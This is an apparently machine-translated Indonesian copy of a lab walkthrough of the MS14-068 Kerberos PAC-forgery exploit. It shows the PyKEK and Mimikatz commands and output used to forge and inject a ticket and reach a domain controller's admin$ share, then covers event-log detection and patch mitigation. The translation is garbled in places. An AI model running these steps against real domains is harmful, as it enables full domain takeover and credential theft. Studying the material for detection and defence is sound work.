Pementasan Attack

chmood
Account pengguna yang ditargetkan dalam posting ini adalah "Darth Sidious" ([email protected]). Perhatikan bahwa pengguna ini adalah anggota dari Domain Pengguna dan kelompok Workstation. Keanggotaan kelompok ini tetap sama seluruh aktivitas di posting ini (saya mengambil screenshot setelah memanfaatkan DC). Asumsikan bahwa pengguna ini adalah pengguna yang berwenang pada jaringan dan ingin mendapatkan hak Admin Domain untuk melakukan tindakan jahat. Pengguna sudah memiliki account domain yang valid dan tahu password untuk domain. Ini tidak berbeda dari penyerang spearphishing pengguna ini dan mencuri identitasnya karena mereka mendapatkan hak admin lokal pada komputer.


Setelah penyerang memiliki kredensial yang valid domain (dan hak admin lokal jika Python menginstal diperlukan) pada komputer pada jaringan, mereka dapat memanfaatkan PyKEK untuk menghasilkan TGT ditempa dengan melakukan komunikasi standar dengan target (unpatched) DC.

The PyKEK ms14-068.py Python Script membutuhkan beberapa informasi untuk berhasil menghasilkan TGT ditempa:

Pengguna Principal Nama (UPN) [-u]: [email protected]

User Password [p]: TheEmperor99!

Pengguna Keamanan Identifier (SID) [-s]: S-1-5-21-1473643419-774954089-222232912

7-1110

Target kontroler Domain [-d]: adsdc02.lab.adsecurity.org

SID dapat ditemukan dengan menjalankan "whoami" perintah sementara login sebagai target pengguna.

Anda juga bisa mendapatkan informasi ini dari PowerShell dengan menjalankan:

[Security.Principal.WindowsIdentity]::GetCurrent( )



Seperti yang saya sebutkan di posting saya sebelumnya tentang PyKEK, mengikuti keanggotaan kelompok termasuk dalam ditempa TGT:


Domain Users (513)
Domain Admins (512)
Schema Admins (518)
Enterprise Admins (519)
Group Policy Creator Owners (520)


Tahap 1: Tempa a TGT:

Berikut adalah screenshot dari mengeksploitasi bekerja di Kali Linux (1.09a)




Setelah menghasilkan file ccache mengandung tiket TGT Kerberos yang ditempa dan divalidasi, file ccache dapat disalin ke komputer Windows untuk menjalankan Mimikatz.

Ia bekerja dengan baik pada Windows berjalan Python juga (perintah dalam huruf tebal & miring).


c:\Temp\pykek>ms14-068.py -u [email protected] -p TheEmperor99! -s S-1-5-21-1473643419-774954089-222232912
7-1110 -d adsdc02.lab.adsecurity.org

[+] Building AS-REQ for adsdc02.lab.adsecurity.org… Done!
[+] Sending AS-REQ to adsdc02.lab.adsecurity.org… Done!
[+] Receiving AS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Parsing AS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Building TGS-REQ for adsdc02.lab.adsecurity.org… Done!
[+] Sending TGS-REQ to adsdc02.lab.adsecurity.org… Done!
[+] Receiving TGS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Parsing TGS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Creating ccache file β€˜[email protected]’… Done!

Berikut screenshot dari ms14-068 mengeksploitasi bekerja pada Windows (tidak memerlukan hak admin) ..


berlari wireshark pada Domain Controller ditargetkan. Berikut pcap (zip) dari lalu lintas jaringan dari script ms14-068.py PyKEK: ADSecurityOrg-MS14068-Exploit-KRBPackets

Perhatikan bahwa saya telah menghasilkan TGT ditempa dengan, account domain dicuri tunggal.

Langkah selanjutnya adalah dengan menggunakan ini ditempa TGT, jadi saya logon ke komputer sebagai account admin lokal dengan akses jaringan ke Domain Controller ditargetkan.

Whoami menunjukkan saya login sebagai admin pada ADSWKWIN7 komputer.

Klist menunjukkan tidak ada tiket Kerberos dalam memori untuk pengguna ini (tidak akan ada, ini adalah account admin lokal).

The PyKEK ms14-068.py Python Script menyimpan ditempa TGT ke file ccache ([email protected]) di direktori kerja saat ini (c: \ temp \ pykek ditampilkan di atas)

Bagaimana PyKEK Dapatkan Forged PAC menjadi TGT?

Python Script melakukan permintaan TGT (Kerberos Authentication Service Permintaan alias AS-REQ) dan bukannya meminta TGT dengan PAC (default AS-REQ), PyKEK meminta TGT tanpa PAC dari Domain Controller.

Setelah script menerima valid TGT tanpa PAC dari DC, script menghasilkan PAC (dengan keanggotaan kelompok yang tercantum di atas) paket dalam data otorisasi dienkripsi sebagai bagian dari permintaan TGS ke Layanan Permintaan DC (Kerberos Tiket Pemberian alias TGS -REQ) untuk mendapatkan lain TGT (yang baru dengan PyKEK dihasilkan PAC).

"The rentan KDC akan memverifikasi dengan MD5 dan memberikan TGT lain dengan PAC di dalamnya".

Ini adalah TGT yang PyKEK menyimpan ke file ccache digunakan untuk tahap 2.

Sejak PyKEK berkomunikasi dengan Domain Controller untuk TGTs valid, TGT adalah tiket yang sah (selain PAC ditempa itu termasuk). Untuk meringkas, ada dua TGTs terlibat dalam proses: yang asli tanpa PAC sebagai akibat dari pertama AS-REQ dan yang kedua DC memberikan di TGS-REP dengan PyKEK dihasilkan PAC.

CATATAN: TGT secara teknis tidak dimodifikasi oleh PyKEK karena dienkripsi dengan akun KDC (KRBTGT). Proses script menggunakan hasil dalam TGT valid dengan PAC PyKEK dibuat yang diterima oleh DC unpatched. Jenius bagian dari ini adalah bahwa PyKEK menggunakan bursa Kerberos AS & TGS untuk menempa PAC dan memiliki tempat DC ke pengguna baru TGT. Kemudian ketika TGT disajikan nanti di Tahap 2 untuk TGS valid, PAC diterima dan nilai-nilainya dibawa ke TGS baru untuk layanan Kerberos di AD.

Rinci paket dan informasi tambahan yang dipasang di pos "PyKEK Kerberos Paket pada kawat alias Bagaimana MS14-068 Eksploitasi Pekerjaan"

Mimikatz presentasi Benjamin Delpy yang di Password 2014 menggambarkan MS14-068 mengeksploitasi (slide di bawah diekstraksi dari presentasinya). Anda dapat menonton presentasi Benjamin di sini (2 video dari atas). Aku diperbaharui ealier MS14-068 posting saya yang menjelaskan masalah dengan validasi PAC berdasarkan informasi Benjamin diberikan selama presentasi ini.

(Terima kasih Sniper upaya lanjutan untuk memastikan saya mendapatkan hak ini. )


Tahap 2: Penyuntikan TGT ditempa dan memperoleh TGS valid:

Setelah tiket Kerberos TGT yang ditempa dihasilkan, saatnya untuk menyuntikkan ke dalam sesi pengguna saat menggunakan Mimikatz (perintah dalam huruf tebal & miring).

c:\Temp\pykek>c:\temp\mimikatz\mimikatz.exe β€œkerberos::ptc c:\temp\[email protected]” exit

.#####. mimikatz 2.0 alpha (x64) release β€œKiwi en C” (Nov 20 2014 01:35:45)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
β€˜## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)
β€˜#####’ with 15 modules * * */

mimikatz(commandline) # kerberos::ptc c:\temp\[email protected]
Principal : (01) : darthsidious ; @ LAB.ADSECURITY.ORG
Data 0
Start/End/MaxRenew: 12/7/2014 3:10:30 PM ; 12/8/2014 1:10:30 AM ; 12/14/2014 3:10:30 PM
Service Name (01) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name (01) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Client Name (01) : darthsidious ; @ LAB.ADSECURITY.ORG
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x00000017 – rc4_hmac_nt
af5e7b47316c4cebae0a7ead04059799
Ticket : 0x00000000 – null ; kvno = 2 […]
* Injecting ticket : OK

mimikatz(commandline) # exit
Bye!



Perhatikan bahwa karena saya menyuntikkan TGT ditempa yang menyatakan bahwa saya anggota dari Domain Admins, Enterprise Admins, dll ke sesi saya, ketika TGT ini dilewatkan ke DC unpatched tiket layanan Kerberos (TGS), tiket layanan akan menunjukkan saya anggota dari kelompok-kelompok ini. Ketika TGS disajikan ke layanan, account pengguna diperlakukan seolah-olah itu adalah anggota kelompok ini, meskipun melihat keanggotaan grup menunjukkan pengguna adalah jelas tidak ada. Hal ini memungkinkan penyerang untuk bertindak seolah-olah mereka adalah anggota kelompok ketika mereka tidak.


berlari wireshark pada Domain Controller ditargetkan. Berikut pcap (zip) dari lalu lintas jaringan menggunakan tiket TGT yang ditempa melalui Mimikatz dan menghubungkan ke Admin $ berbagi Controller Domain: ADSecurityOrg-MS14068-Exploit-KRBPackets-TGTInjection-Dan-DC-AdminShare-Access

Setelah saya telah berhasil menyuntik ditempa TGT ke sesi saya (ingat, saya login ke Windows 7 komputer domain-bergabung sebagai admin lokal - tidak dengan mandat domain AD), saya memanfaatkan ini untuk menyambung ke Domain Controller dan mendapatkan akses ke database Active Directory (Ntds.dit).
Catatan: account admin lokal tidak diperlukan. Tahap ini bisa dijalankan dengan account apapun dan dapat dijalankan dari jendela PowerShell.
Domain Kontroler Log Event dari Serang:

Unpatched kontroler Domain Log Selama Serangan PyKEK MS14-068:

Berikut adalah log peristiwa pada Domain Controller target saat menggunakan ditempa TGT untuk mendapatkan TGS untuk mengakses admin $ berbagi Controller Domain dan cari file database AD:

Acara 4769 menunjukkan [email protected] meminta tiket layanan TGS Kerberos menggunakan ditempa TGT.

Acara 4769 menunjukkan [email protected] meminta tiket layanan TGS Kerberos menggunakan ditempa TGT.


Acara 4624 menunjukkan [email protected] menggunakan layanan tiket TGS untuk logon ke target Domain Controller.


Acara 5140 menunjukkan [email protected] menggunakan layanan tiket TGS untuk terhubung ke target Admin $ saham (net use \\ adsdc02.lab.adsecurity.org \ admin $) Domain Controller yang hanya administrator memiliki akses.


Acara 4672 menunjukkan [email protected]~~MD~~aux berhasil dikonfirmasi (dan login untuk) target kontroler Domain yang hanya administrator memiliki akses.

Perhatikan bahwa pengguna ini memiliki SeBackupPrivilege, SeRestorePrivilege, SeDebugPrivilege, SeTakeOwnership, dll menunjukkan pengguna memiliki akses Admin penuh untuk komputer ini. Itu Game Over pada saat ini.

MS14-068 patch kontroler Domain Log Selama Serangan PyKEK MS14-068:
Inilah yang terlihat seperti ketika klien mencoba untuk menggunakan TGT ditempa untuk mendapatkan tiket layanan Kerberos (TGS) ketika berkomunikasi dengan DC ditambal:

Acara 4769 menunjukkan [email protected] mencoba untuk mendapatkan tiket layanan Kerberos (TGS) untuk CIFS (SMB) saham pada Domain Controller (adsdc01.lab.adsecurity.org). TGS gagal karena DC (adsdc01.lab.adsecurity.org) ditambal sebuah log kegagalan ini dalam acara keamanan log sebagai gagal 4769 acara. .
CATATAN: ini adalah acara Microsoft menganjurkan Anda memonitor setelah menerapkan KB3011780 (yang MS14-068 patch yang).


Acara 4776 menunjukkan kegagalan audit untuk komputer dan username login ke komputer. Acara ini dikaitkan dengan 4769 acara di atas. Karena saya login sebagai administrator lokal akun "admin" itu menunjukkan dalam log. Ini adalah bendera merah. Namun, saya bisa menciptakan account admin lokal pada kotak dengan nama yang sama sebagai Admin Domain di domain dan mungkin tidak diteliti sebanyak. Memeriksa log Anda!




Ini menyimpulkan pelajaran tentang bagaimana untuk memiliki sebuah hutan Active Directory dalam waktu kurang dari 5 menit dengan hanya akun pengguna dan komputer Windows terhubung (dan akun admin terkait).
Mitigasi:
Menambal semua pengontrol Domain dengan KB3011780 di setiap domain AD. Saya upload contoh script untuk mendapatkan Status Patch KB3011780 untuk semua pengontrol Domain: Get-DCPatchStatus (ekstensi perubahan file PS1)
[Unpatched DC] Memantau acara ID 4672 untuk pengguna yang bukan anggota kelompok admin domain tingkat (kelompok standar dapat logon ke Domain Controller - ini adalah mengapa Anda tidak harus menggunakan ini default, built-in kelompok untuk delegasi administrasi) :
Admin Perusahaan (admin pada semua DC di hutan),
Domain Admins
Administrator
Admin Server
Operator cadangan
Account operator
Operator cetak
Kelompok lain didelegasikan di lingkungan Anda untuk logon ke Domain Controller
[Patch DC], monitor acara id 4769 acara Kerberos Layanan Operasi Tiket yang menunjukkan usaha yang gagal untuk mendapatkan tiket layanan Kerberos (TGS).
Komentar